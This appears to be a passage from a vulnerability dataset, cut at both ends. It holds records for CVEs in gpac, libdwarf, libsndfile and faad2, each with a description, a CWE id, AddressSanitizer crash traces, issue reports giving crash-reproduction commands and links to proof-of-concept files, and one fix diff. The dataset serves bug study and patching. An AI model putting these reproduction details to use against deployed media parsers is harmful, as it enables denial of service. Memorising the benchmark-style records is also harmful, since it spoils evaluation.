0x100039e684c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100039e684d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100039e684e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100039e684f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100039e68500: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x100039e68510: f1 f1 f1 f1 00 00 f2 f2 00 00[f2]f2 04 f2 05 f2
0x100039e68520: f2 f2 05 f2 f2 f2 00 00 00 00 00 00 00 00 f2 f2
0x100039e68530: f2 f2 00 00 00 00 00 00 00 00 f2 f2 f2 f2 04 f2
0x100039e68540: 00 00 f2 f2 00 00 00 00 00 00 00 00 00 00 00 00
0x100039e68550: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100039e68560: 00 00 00 00 f2 f2 f2 f2 f2 f2 f2 f2 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb | === https://github.com/gpac/gpac/issues/2613 ===
Title: stack-buffer-overflow in /gpac/src/media_tools/av_parsers.c:7735:42 in hevc_parse_vps_extension
---
Body:
# Version
```
$ ./MP4Box -version
MP4Box - GPAC version 2.3-DEV-rev566-g50c2ab06f-master
```
# Platform
```
$ uname -a
Linux user-GE40-2PC-Dragon-Eyes 6.2.0-33-generic #33~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 7 10:33:52 UTC 2 x86_64 x86_64 x86_64 GNU/Linux
```
# Asan
```
/home/user/vul/MP4Box_crash/id000085sig06src003627time38285673execs366724ophavocrep8
[31m[HEVC] Error parsing NAL unit type 2
[0m=================================================================
==833362==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffdcf3828d0 at pc 0x7f6e8e6ab0c1 bp 0x7ffdcf382870 sp 0x7ffdcf382868
WRITE of size 1 at 0x7ffdcf3828d0 thread T0
#0 0x7f6e8e6ab0c0 in hevc_parse_vps_extension /home/user/fuzzing_gpac/gpac/src/media_tools/av_parsers.c:7735:42
#1 0x7f6e8e66492e in gf_hevc_read_vps_bs_internal /home/user/fuzzing_gpac/gpac/src/media_tools/av_parsers.c:8095:9
#2 0x7f6e8e66b0e5 in gf_hevc_parse_nalu_bs /home/user/fuzzing_gpac/gpac/src/media_tools/av_parsers.c:8756:30
#3 0x7f6e8f25c2ca in naludmx_check_dur /home/user/fuzzing_gpac/gpac/src/filters/reframe_nalu.c:576:10
#4 0x7f6e8f264622 in naludmx_check_pid /home/user/fuzzing_gpac/gpac/src/filters/reframe_nalu.c:1826:3
#5 0x7f6e8f252dc5 in naludmx_process /home/user/fuzzing_gpac/gpac/src/filters/reframe_nalu.c:3370:4
#6 0x7f6e8edafa33 in gf_filter_process_task /home/user/fuzzing_gpac/gpac/src/filter_core/filter.c:2971:7
#7 0x7f6e8ed7d47b in gf_fs_thread_proc /home/user/fuzzing_gpac/gpac/src/filter_core/filter_session.c:2105:3
#8 0x7f6e8ed7b5cf in gf_fs_run /home/user/fuzzing_gpac/gpac/src/filter_core/filter_session.c:2405:3
#9 0x7f6e8e62ac6a in gf_dasher_process /home/user/fuzzing_gpac/gpac/src/media_tools/dash_segmenter.c:1236:6
#10 0x5572d97a66dc in do_dash /home/user/fuzzing_gpac/gpac/applications/mp4box/mp4box.c:4831:15
#11 0x5572d9797b6e in mp4box_main /home/user/fuzzing_gpac/gpac/applications/mp4box/mp4box.c:6245:7
#12 0x7f6e8d629d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
#13 0x7f6e8d629e3f in __libc_start_main csu/../csu/libc-start.c:392:3
#14 0x5572d96bfdd4 in _start (/home/user/fuzzing_gpac/gpac/bin/gcc/MP4Box+0x82dd4) (BuildId: 53333ca7bff59dd9a3d1b2821e7c5f3a9aac76b9)
Address 0x7ffdcf3828d0 is located in stack of thread T0 at offset 80 in frame
#0 0x7f6e8e6a4abf in hevc_parse_vps_extension /home/user/fuzzing_gpac/gpac/src/media_tools/av_parsers.c:7690
This frame has 12 object(s):
[32, 48) 'dimension_id_len' (line 7693)
[64, 80) 'dim_bit_offset' (line 7693) <== Memory access at offset 80 overflows this variable
[96, 100) 'layer_set_idx_for_ols_minus1' (line 7695)
[112, 117) 'nb_output_layers_in_output_layer_set' (line 7696)
[144, 149) 'ols_highest_output_layer_id' (line 7697)
[176, 240) 'num_direct_ref_layers' (line 7700)
[272, 336) 'num_pred_layers' (line 7700)
[368, 372) 'num_layers_in_tree_partition' (line 7700)
[384, 400) 'dependency_flag' (line 7701)
[416, 672) 'id_pred_layers' (line 7701)
[736, 800) 'layer_id_in_list_flag' (line 7706)
[832, 896) 'OutputLayerFlag' (line 7707)
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
(longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow /home/user/fuzzing_gpac/gpac/src/media_tools/av_parsers.c:7735:42 in hevc_parse_vps_extension
Shadow bytes around the buggy address:
0x100039e684c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100039e684d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100039e684e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100039e684f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100039e68500: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x100039e68510: f1 f1 f1 f1 00 00 f2 f2 00 00[f2]f2 04 f2 05 f2
0x100039e68520: f2 f2 05 f2 f2 f2 00 00 00 00 00 00 00 00 f2 f2
0x100039e68530: f2 f2 00 00 00 00 00 00 00 00 f2 f2 f2 f2 04 f2
0x100039e68540: 00 00 f2 f2 00 00 00 00 00 00 00 00 00 00 00 00
0x100039e68550: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100039e68560: 00 00 00 00 f2 f2 f2 f2 f2 f2 f2 f2 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==833362==ABORTING
```
# Reproduce
```
./MP4Box -dash 10000 poc
```
# POC File
https://github.com/gandalf4a/crash_report/blob/main/gpac/MP4Box/sbo_7735
# Credit
```
Gandalf4a
``` | https://nvd.nist.gov/vuln/detail/CVE-2023-48014 | |
libdwarf.cve-2022-32200 | libdwarf 0.4.0 has a heap-based buffer over-read in _dwarf_check_string_valid in dwarf_util.c. | https://github.com/davea42/libdwarf-code/issues/116 | https://github.com/davea42/libdwarf-code/commit/8151575a6ace77d005ca5bb5d71c1bfdba3f7069 | CWE-125 | davea42/libdwarf-code | 8151575a6ace77d005ca5bb5d71c1bfdba3f7069~1 | diff --git a/src/lib/libdwarf/dwarf_global.c b/src/lib/libdwarf/dwarf_global.c
index 03ee0cd22..6cfe883f5 100644
--- a/src/lib/libdwarf/dwarf_global.c
+++ b/src/lib/libdwarf/dwarf_global.c
@@ -31,7 +31,6 @@
#include <config.h>
#include <string.h> /* strlen() */
-
#if defined(_WIN32) && defined(HAVE_STDAFX_H)
#include "stdafx.h"
#endif /* HAVE_STDAFX_H */
@@ -83,6 +82,33 @@ _dwarf_fix_up_offset_irix(Dwarf_Debug dbg,
}
#endif /* __sgi */
+#if 0
+/* Debugging only. Requires start. can calulate one of len, end */
+static void
+debug_print_range(const char *msg,
+ int lineno,
+ void *start, signed long len,
+ void *end)
+{
+
+ char *st = (char *)start;
+ char *en = (char *)end;
+ signed long le = len;
+
+ if (len) {
+ if (en) {
+ le = (long)(en-st);
+ } else {
+ en= start+len;
+ }
+ } else if (en) {
+ le = (long)(en-st);
+ }
+ printf("RANGEdebug %s st=0x%lx le=%ld en=0x%lx line %d\n",
+ msg,(unsigned long)st,le,(unsigned long)en,lineno);
+}
+#endif
+
static void
dealloc_globals_chain(Dwarf_Debug dbg,
Dwarf_Chain head_chain)
@@ -287,9 +313,9 @@ _dwarf_internal_get_pubnames_like_data(Dwarf_Debug dbg,
Dwarf_Off pubnames_section_offset = 0;
Dwarf_Small *section_end_ptr = section_data_ptr +section_length;
- /* Points to the context for the current set of global names, and
- contains information to identify the compilation-unit that the
- set refers to. */
+ /* Points to the context for the current set of global names,
+ and contains information to identify the compilation-unit
+ that the set refers to. */
Dwarf_Global_Context pubnames_context = 0;
Dwarf_Bool pubnames_context_on_list = FALSE;
@@ -301,6 +327,10 @@ _dwarf_internal_get_pubnames_like_data(Dwarf_Debug dbg,
Dwarf_Unsigned global_count = 0;
+ /* The count is just to improve the error message
+ a few lines above. */
+ Dwarf_Unsigned context_count = 0;
+
/* Used to chain the Dwarf_Global_s structs for
creating contiguous list of pointers to the structs. */
Dwarf_Chain head_chain = 0;
@@ -384,6 +414,41 @@ _dwarf_internal_get_pubnames_like_data(Dwarf_Debug dbg,
}
return mres;
}
+ {
+ Dwarf_Small * localend =pubnames_like_ptr + length;
+
+ if ((length > section_length) ||
+ (localend > section_end_ptr)){
+ /* The length field is corrupted */
+ dwarfstring m;
+
+ dwarfstring_constructor(&m);
+ dwarfstring_append_printf_u(&m,
+ "DW_DLE_PUBNAMES_LENGTH_BAD (or similar) "
+ "A DWARF length field in cu context %u ",
+ context_count);
+ dwarfstring_append_printf_s(&m,"of section %s ",
+ (char *)secname);
+ dwarfstring_append_printf_u(&m,"of "
+ "%u bytes ",length);
+ dwarfstring_append_printf_u(&m,
+ "runs off the end of "
+ "the %u bytes of the real section",
+ section_length);
+ _dwarf_error_string(dbg, error,length_err_num,
+ dwarfstring_string(&m));
+ dwarfstring_destructor(&m);
+ dealloc_globals_chain(dbg,head_chain);
+ if (!pubnames_context_on_list) {
+ dwarf_dealloc(dbg,pubnames_context,
+ context_DLA_code);
+ }
+ return DW_DLV_ERROR;
+ }
+ }
+ /* The count is just to improve the error message
+ a few lines above. */
+ ++context_count;
pubnames_context->pu_alloc_type = context_DLA_code;
pubnames_context->pu_length_size = local_length_size;
pubnames_context->pu_length = length;
@@ -393,8 +458,7 @@ _dwarf_internal_get_pubnames_like_data(Dwarf_Debug dbg,
pubnames_ptr_past_end_cu = pubnames_like_ptr + length;
pubnames_context->pu_pub_entries_end_ptr =
pubnames_ptr_past_end_cu;
-
- if ((pubnames_like_ptr + (DWARF_HALF_SIZE) ) >
+ if ((pubnames_like_ptr + (DWARF_HALF_SIZE) ) >=
/* A minimum size needed */
section_end_ptr) {
pubnames_error_length(dbg,error,
@@ -554,6 +618,7 @@ _dwarf_internal_get_pubnames_like_data(Dwarf_Debug dbg,
while (die_offset_in_cu) {
int res = 0;
unsigned char *glname = 0;
+ Dwarf_Unsigned nstrlen = 0;
/* non-zero die_offset_in_cu already read, so
pubnames_like_ptr points to a string. */
@@ -570,8 +635,8 @@ _dwarf_internal_get_pubnames_like_data(Dwarf_Debug dbg,
return res;
}
glname = (unsigned char *)pubnames_like_ptr;
- pubnames_like_ptr = pubnames_like_ptr +
- strlen((char *) pubnames_like_ptr) + 1;
+ nstrlen = strlen((char *)pubnames_like_ptr);
+ pubnames_like_ptr += nstrlen + 1;
/* Already read offset and verified string, glname
now points to the string. */
res = _dwarf_make_global_add_to_chain(dbg,
| https://github.com/davea42/libdwarf-code/issues/116, https://www.prevanders.net/dwarfbug.html | =================================================================
==1464907==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6060000015bb at pc 0x00000083fa88 bp 0x7fff18213420 sp 0x7fff18213418
READ of size 1 at 0x6060000015bb thread T0
#0 0x83fa87 in _dwarf_check_string_valid /home/casper/targets/struct/libdwarf/aflasan/SRC/src/lib/libdwarf/dwarf_util.c:938:13
#1 0x70192c in _dwarf_internal_get_pubnames_like_data /home/casper/targets/struct/libdwarf/aflasan/SRC/src/lib/libdwarf/dwarf_global.c:560:19
#2 0x7e43be in dwarf_get_pubtypes /home/casper/targets/struct/libdwarf/aflasan/SRC/src/lib/libdwarf/dwarf_pubtypes.c:63:11
#3 0x637fa0 in print_types /home/casper/targets/struct/libdwarf/aflasan/SRC/src/bin/dwarfdump/print_types.c:90:13
#4 0x519257 in process_one_file /home/casper/targets/struct/libdwarf/aflasan/SRC/src/bin/dwarfdump/dwarfdump.c:1242:16
#5 0x512ac7 in main /home/casper/targets/struct/libdwarf/aflasan/SRC/src/bin/dwarfdump/dwarfdump.c:503:9
#6 0x7f1199de00b2 in __libc_start_main /build/glibc-sMfBJT/glibc-2.31/csu/../csu/libc-start.c:308:16
#7 0x42848d in _start (/home/casper/targets/struct/libdwarf/aflasan/fuzzrun/dwarfdump+0x42848d)
0x6060000015bb is located 0 bytes to the right of 59-byte region [0x606000001580,0x6060000015bb)
allocated by thread T0 here:
#0 0x4cd59f in malloc /home/casper/fuzz/fuzzdeps/llvm-project-11.0.0/compiler-rt/lib/asan/asan_malloc_linux.cpp:145:3
#1 0x870cd5 in elf_load_nolibelf_section /home/casper/targets/struct/libdwarf/aflasan/SRC/src/lib/libdwarf/dwarf_elfread.c:229:26
#2 0x4969e5 in vprintf /home/casper/fuzz/fuzzdeps/llvm-project-11.0.0/compiler-rt/lib/asan/../sanitizer_common/sanitizer_common_interceptors.inc:1641:1
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/casper/targets/struct/libdwarf/aflasan/SRC/src/lib/libdwarf/dwarf_util.c:938:13 in _dwarf_check_string_valid
Shadow bytes around the buggy address:
0x0c0c7fff8260: fd fd fd fa fa fa fa fa fd fd fd fd fd fd fd fa
0x0c0c7fff8270: fa fa fa fa fd fd fd fd fd fd fd fa fa fa fa fa
0x0c0c7fff8280: 00 00 00 00 00 00 00 00 fa fa fa fa 00 00 00 00
0x0c0c7fff8290: 00 00 00 00 fa fa fa fa 00 00 00 00 00 00 00 00
0x0c0c7fff82a0: fa fa fa fa 00 00 00 00 00 00 00 00 fa fa fa fa
=>0x0c0c7fff82b0: 00 00 00 00 00 00 00[03]fa fa fa fa fa fa fa fa
0x0c0c7fff82c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0c7fff82d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0c7fff82e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0c7fff82f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0c7fff8300: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb | === https://github.com/davea42/libdwarf-code/issues/116 ===
Title: heap overflow in _dwarf_check_string_valid in dwarf_util.c
---
Body:
There is a heap overflow in _dwarf_check_string_valid in dwarf_util.c. Depending on the usage of this library, this may cause code execution or deny of service.
reproduce steps:
1. compile libdwarf with address sanitizer
2. run dwarfdump with poc file
```
dwarfdump -vv -a ./poc
```
poc:
[poc.zip](https://github.com/davea42/libdwarf-code/files/8778140/poc.zip)
Address sanitizer output:
```
=================================================================
==1464907==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6060000015bb at pc 0x00000083fa88 bp 0x7fff18213420 sp 0x7fff18213418
READ of size 1 at 0x6060000015bb thread T0
#0 0x83fa87 in _dwarf_check_string_valid /home/casper/targets/struct/libdwarf/aflasan/SRC/src/lib/libdwarf/dwarf_util.c:938:13
#1 0x70192c in _dwarf_internal_get_pubnames_like_data /home/casper/targets/struct/libdwarf/aflasan/SRC/src/lib/libdwarf/dwarf_global.c:560:19
#2 0x7e43be in dwarf_get_pubtypes /home/casper/targets/struct/libdwarf/aflasan/SRC/src/lib/libdwarf/dwarf_pubtypes.c:63:11
#3 0x637fa0 in print_types /home/casper/targets/struct/libdwarf/aflasan/SRC/src/bin/dwarfdump/print_types.c:90:13
#4 0x519257 in process_one_file /home/casper/targets/struct/libdwarf/aflasan/SRC/src/bin/dwarfdump/dwarfdump.c:1242:16
#5 0x512ac7 in main /home/casper/targets/struct/libdwarf/aflasan/SRC/src/bin/dwarfdump/dwarfdump.c:503:9
#6 0x7f1199de00b2 in __libc_start_main /build/glibc-sMfBJT/glibc-2.31/csu/../csu/libc-start.c:308:16
#7 0x42848d in _start (/home/casper/targets/struct/libdwarf/aflasan/fuzzrun/dwarfdump+0x42848d)
0x6060000015bb is located 0 bytes to the right of 59-byte region [0x606000001580,0x6060000015bb)
allocated by thread T0 here:
#0 0x4cd59f in malloc /home/casper/fuzz/fuzzdeps/llvm-project-11.0.0/compiler-rt/lib/asan/asan_malloc_linux.cpp:145:3
#1 0x870cd5 in elf_load_nolibelf_section /home/casper/targets/struct/libdwarf/aflasan/SRC/src/lib/libdwarf/dwarf_elfread.c:229:26
#2 0x4969e5 in vprintf /home/casper/fuzz/fuzzdeps/llvm-project-11.0.0/compiler-rt/lib/asan/../sanitizer_common/sanitizer_common_interceptors.inc:1641:1
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/casper/targets/struct/libdwarf/aflasan/SRC/src/lib/libdwarf/dwarf_util.c:938:13 in _dwarf_check_string_valid
Shadow bytes around the buggy address:
0x0c0c7fff8260: fd fd fd fa fa fa fa fa fd fd fd fd fd fd fd fa
0x0c0c7fff8270: fa fa fa fa fd fd fd fd fd fd fd fa fa fa fa fa
0x0c0c7fff8280: 00 00 00 00 00 00 00 00 fa fa fa fa 00 00 00 00
0x0c0c7fff8290: 00 00 00 00 fa fa fa fa 00 00 00 00 00 00 00 00
0x0c0c7fff82a0: fa fa fa fa 00 00 00 00 00 00 00 00 fa fa fa fa
=>0x0c0c7fff82b0: 00 00 00 00 00 00 00[03]fa fa fa fa fa fa fa fa
0x0c0c7fff82c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0c7fff82d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0c7fff82e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0c7fff82f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0c7fff8300: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
```
---
Comment #1 by davea42:
Thank you for the report and test case. I assigned this libdwarf vulnerability as
DW202205-001 and have pushed the fix .
View the vulnerability on [www.prevanders.net/dwarfbug.html](url)
| https://nvd.nist.gov/vuln/detail/CVE-2022-32200 | |
libsndfile.cve-2018-19432 | An issue was discovered in libsndfile 1.0.28. There is a NULL pointer dereference in the function sf_write_int in sndfile.c, which will lead to a denial of service. | https://github.com/erikd/libsndfile/issues/427 | https://github.com/erikd/libsndfile/issues/427 | CWE-476 | erikd/libsndfile | https://github.com/erikd/libsndfile/issues/427 | AddressSanitizer:DEADLYSIGNAL
=================================================================
==49998==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7fb21f1413c6 bp 0x7ffe8d3042c0 sp 0x7ffe8d27ba80 T0)
==49998==The signal is caused by a READ memory access.
==49998==Hint: address points to the zero page.
#0 0x7fb21f1413c5 in sf_write_int /home/pwd/fuzz/fuzz-wavpack/libsndfile-1.0.28/src/sndfile.c:2257:2
#1 0x5137b2 in deinterleave_int /home/pwd/fuzz/fuzz-wavpack/libsndfile-1.0.28/programs/sndfile-deinterleave.c:171:4
#2 0x5137b2 in main /home/pwd/fuzz/fuzz-wavpack/libsndfile-1.0.28/programs/sndfile-deinterleave.c:134
#3 0x7fb21e138b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310
#4 0x41a519 in _start (/home/pwd/fuzz/fuzz-wavpack/libsndfile-1.0.28/installed-asan/bin/sndfile-deinterleave+0x41a519)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/pwd/fuzz/fuzz-wavpack/libsndfile-1.0.28/src/sndfile.c:2257:2 in sf_write_int
==49998==ABORTING | === https://github.com/erikd/libsndfile/issues/427 ===
Title: out of bounds read in sf_write_int
---
Body:
## version
libsndfile: Version released 1.0.28
## description
An issue was discovered in libsndfile 1.0.28. There is an out of bounds read at function sf_write_int, will lead to a denial of service or the others.
```shell
./sndfile-deinterleave tmp/id\:000000\,sig\:06\,src\:000000\,op\:havoc\,rep\:16
Input file : tmp/id:000000,sig:06,src:000000,op:havoc,rep:16
Output files :
tmp/id:000000,sig:06,src:000000,op:havoc,rep:16_00
tmp/id:000000,sig:06,src:000000,op:havoc,rep:16_01
......
tmp/id:000000,sig:06,src:000000,op:havoc,rep:16_254
AddressSanitizer:DEADLYSIGNAL
=================================================================
==49998==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7fb21f1413c6 bp 0x7ffe8d3042c0 sp 0x7ffe8d27ba80 T0)
==49998==The signal is caused by a READ memory access.
==49998==Hint: address points to the zero page.
#0 0x7fb21f1413c5 in sf_write_int /home/pwd/fuzz/fuzz-wavpack/libsndfile-1.0.28/src/sndfile.c:2257:2
#1 0x5137b2 in deinterleave_int /home/pwd/fuzz/fuzz-wavpack/libsndfile-1.0.28/programs/sndfile-deinterleave.c:171:4
#2 0x5137b2 in main /home/pwd/fuzz/fuzz-wavpack/libsndfile-1.0.28/programs/sndfile-deinterleave.c:134
#3 0x7fb21e138b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310
#4 0x41a519 in _start (/home/pwd/fuzz/fuzz-wavpack/libsndfile-1.0.28/installed-asan/bin/sndfile-deinterleave+0x41a519)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/pwd/fuzz/fuzz-wavpack/libsndfile-1.0.28/src/sndfile.c:2257:2 in sf_write_int
==49998==ABORTING
```
## debug info
In function deinterleave_int, 'ch' is 0x10 , leads to the array bounds, and then crash in function sf_write_int .
```txt
// source:sndfile-deinterleave.c+170
165 do
166 { read_len = sf_readf_int (state->infile, state->din.i, BUFFER_LEN) ;
167
168 for (ch = 0 ; ch < state->channels ; ch ++)
169 { for (k = 0 ; k < read_len ; k++)
// state=0x00007ffffff75438 → [...] → 0x0000000000000000, ch=0x10, k=0x0
→ 170 state->dout.i [k] = state->din.i [k * state->channels + ch] ;
171 sf_write_int (state->outfile [ch], state->dout.i, read_len) ;
172 } ;
173 }
174 while (read_len > 0) ;
175
gef➤ p state->channels
$3 = 0xff
gef➤ p state->outfile
$6 = {0x555555769300, 0x55555576c800, 0x55555576fd00, 0x555555773200, 0x555555776700, 0x555555779c00, 0x55555577d100, 0x555555780600, 0x555555783b00, 0x555555787000, 0x55555578a500, 0x55555578da00, 0x555555790f00, 0x555555794400, 0x555555797900, 0x55555579ae00}
......
// source:sndfile.c+2257
// sndfile=0x00007ffffff75408 → 0xf62d0000f7db0000, psf=0x00007ffffff75410 → 0xf62d0000f7db0000
→ 2257 VALIDATE_SNDFILE_AND_ASSIGN_PSF (sndfile, psf, 1) ;
2258
2259 if (len <= 0)
2260 { psf->error = SFE_NEGATIVE_RW_LEN ;
2261 return 0 ;
2262 }
[#0] Id 1, Name: "sndfile-deinter", stopped, reason: SIGSEGV
```
[poc.tar.gz](https://github.com/erikd/libsndfile/files/2606482/poc.tar.gz)
## others
this bug is reported by pwd@360TeamSeri0us,
please send email to teamSeri0us360@gmail.com if you have some quetion.
---
Comment #1 by carnil:
This issue was assigned CVE-2018-19432
---
Comment #2 by evpobr:
Thanks. @erikd usually does bugfixing. Can you check this bug exists in `master` brunch?
---
Comment #3 by YourButterfly:
Thanks, this bug is fixed by checking out the value of channels, in master brunch.
Can you keep this issue active before a new version is released?
Have a nice day!
---
Comment #4 by evpobr:
Probably duplicate of #346. Fixed by 6f32662.
---
Comment #5 by rjoshi18:
Hi @YourButterfly @evpobr could You please confirm, whether this issue got fixed or not?
---
Comment #6 by erikd:
> could You please confirm, whether this issue got fixed or not?
The code is here in github. Is it not possible for you to confirm?
---
Comment #7 by hlef:
The poc defines a number of channels = 255 > MAX_CHANNELS (=16). This triggers a first overflow which is silently ignored in sndfile-deinterleave.c:main:
```
for (ch = 0 ; ch < state.channels ; ch++) // state.channels is 255 here
{ ...
if ((state.outfile [ch] = sf_open (filename, SFM_WRITE, &sfinfo)) == NULL) // state.outfile is a char[16] array
{ printf ("Not able to open output file '%s'\n%s\n", filename, sf_strerror (NULL)) ;
exit (1) ;
} ;
...
} ;
```
This is the main problem. If a file defines a number of channels > MAX_CHANNELS we should either artificially reduce the number of channels or reject it.
Hence this issue is not a duplicate of #346 but rather a duplicate of #397 fixed in aaea680337267bfb6d2544da878890ee7f1c5077.
(FTR, issue #397 was assigned CVE-2018-13139)
---
Comment #8 by erikd:
This is fixed in Git HEAD:
```
> programs/sndfile-deinterleave oob_sf_write_int\:2257
Error : Input file 'oob_sf_write_int:2257' has too many (255) channels. Limit is 16.
```
as @hlef say, it was fixed in commit aaea680. | https://nvd.nist.gov/vuln/detail/CVE-2018-19432 | |||
faad2.cve-2018-20358 | An invalid memory address dereference was discovered in the lt_prediction function of libfaad/lt_predict.c in Freeware Advanced Audio Decoder 2 (FAAD2) 2.8.8. The vulnerability causes a segmentation fault and application crash, which leads to denial of service. | https://github.com/knik0/faad2/issues/31 | CWE-119 | knik0/faad2 | https://github.com/knik0/faad2/issues/31, https://seclists.org/bugtraq/2019/Sep/28 | ASAN:SIGSEGV faad_res/010-invalid-def-lt_predict_108.
=================================================================
==7092==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000fd0 (pc 0x7f09d10c9532 bp 0x7ffea06b0460 sp 0x7ffea06ac370 T0)
#0 0x7f09d10c9531 in lt_prediction /root/faad2_asan/libfaad/lt_predict.c:108
#1 0x7f09d10fb6b8 in reconstruct_channel_pair /root/faad2_asan/libfaad/specrec.c:1228
#2 0x7f09d1102823 in channel_pair_element /root/faad2_asan/libfaad/syntax.c:759
#3 0x7f09d1100cbf in decode_cpe /root/faad2_asan/libfaad/syntax.c:402
#4 0x7f09d1101398 in raw_data_block /root/faad2_asan/libfaad/syntax.c:448
#5 0x7f09d10bb9c3 in aac_frame_decode /root/faad2_asan/libfaad/decoder.c:990
#6 0x7f09d10bb566 in NeAACDecDecode /root/faad2_asan/libfaad/decoder.c:821
#7 0x40f8ae in decodeAACfile /root/faad2_asan/frontend/main.c:679
#8 0x411dd4 in faad_main /root/faad2_asan/frontend/main.c:1323
#9 0x411fe5 in main /root/faad2_asan/frontend/main.c:1366
#10 0x7f09d0cf382f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#11 0x401aa8 in _start (/usr/local/faad-asan/bin/faad+0x401aa8)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /root/faad2_asan/libfaad/lt_predict.c:108 lt_prediction
==7092==ABORTING | === https://github.com/knik0/faad2/issues/31 ===
Title: Invalid memory address dereference in lt_prediction(in libfaad/lt_predict.c:108)
---
Body:
Hi, i found a issue in Freeware Advanced Audio Decoder 2 (FAAD2) 2.8.8. It crashed in function lt_prediction .the details are below(ASAN):
```
./faad faad_res/010-invalid-def-lt_predict_108 -o out.wav
*********** Ahead Software MPEG-4 AAC Decoder V2.8.8 ******************
Build: Dec 13 2018
Copyright 2002-2004: Ahead Software AG
http://www.audiocoding.com
bug tracking: https://sourceforge.net/p/faac/bugs/
Floating point version
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License.
**************************************************************************
faad_res/010-invalid-def-lt_predict_108 file info:
RAW
---------------------
| Config: 1.1 Ch |
---------------------
| Ch | Position |
---------------------
| 00 | Center front |
| 01 | Left front |
---------------------
ASAN:SIGSEGV faad_res/010-invalid-def-lt_predict_108.
=================================================================
==7092==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000fd0 (pc 0x7f09d10c9532 bp 0x7ffea06b0460 sp 0x7ffea06ac370 T0)
#0 0x7f09d10c9531 in lt_prediction /root/faad2_asan/libfaad/lt_predict.c:108
#1 0x7f09d10fb6b8 in reconstruct_channel_pair /root/faad2_asan/libfaad/specrec.c:1228
#2 0x7f09d1102823 in channel_pair_element /root/faad2_asan/libfaad/syntax.c:759
#3 0x7f09d1100cbf in decode_cpe /root/faad2_asan/libfaad/syntax.c:402
#4 0x7f09d1101398 in raw_data_block /root/faad2_asan/libfaad/syntax.c:448
#5 0x7f09d10bb9c3 in aac_frame_decode /root/faad2_asan/libfaad/decoder.c:990
#6 0x7f09d10bb566 in NeAACDecDecode /root/faad2_asan/libfaad/decoder.c:821
